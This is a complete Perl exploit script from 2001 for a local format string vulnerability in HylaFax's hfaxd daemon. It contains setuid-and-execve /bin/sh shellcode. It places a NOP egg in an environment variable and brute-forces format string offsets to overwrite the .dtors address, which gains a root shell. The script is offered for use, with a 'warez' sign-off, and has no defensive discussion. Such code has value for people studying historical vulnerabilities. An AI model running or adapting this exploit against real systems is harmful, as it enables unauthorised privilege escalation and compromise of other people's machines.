#!/usr/bin/perl

# | Local format string bug in hfaxd (HylaFax) 4.0pl2-2
# | Tested version: hylafax-4.0pl2-2 - 6.0 Power Tools
# | Copyright (c) 2001 by <teleh0r@doglover.com>
# | All rights reserved.
# |
# | Credits: Marcin Dawcewicz for finding the bug.
# | http://www.digit-labs.org/ -- Digit-Labs 2001!@#!

$shellcode =                     # Shellcode by: Taeho Oh
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\xb0\x17".                  #/* movb $0x17,%al        */
    "\xcd\x80".                  #/* int $0x80             */
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */

#> objdump -s -j .dtors /usr/libexec/fax/hfaxd
# ...
# 8084a6c ffffffff 10ac0608 00000000
# $dtors = 0x8084a6c + 4

$dtors   = 0x8084a70;   # Address to .dtors
$return  = 0xbffff75f;  # Address to egg.
$nop     = 'A';         # inc %ecx
$eggsize = 5000;        # Big eggy.

## Make the egg shell - and place it in $ENV.

for ($i = 0; $i < ($eggsize - length($shellcode)); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode; local($ENV{'USERNAME'}) = $buffer;

## Make the high and low address / $return.

$high = ((($return >> 16) & 0xffff) - 8);
$tmp  = $return & 0xffff;
$low  = $tmp - $high;

printf("Return: %#lx / High: %d / Low: %d\n\n",
       $return,
       $high,
       $low
      );

# Brute force the right distance.

for ($i = 0; $i < 1337; $i++) {
    $j = $i + 1;
    
    $formatstring  = pack('l', ($dtors + 2));
    $formatstring .= pack('l', ($dtors));
    $formatstring .= "%.${high}u%$i\$hn%.${low}u%$j\$hn";
    
    $x = (system("/usr/libexec/fax/hfaxd", "-q", $formatstring));

    if ($x == '0' || $x == 32512) {
	die("\nThank you for using digit-labs warez, Sir!\n");
    }
}
print("\nSorry, did you update the .dtors address?\n");
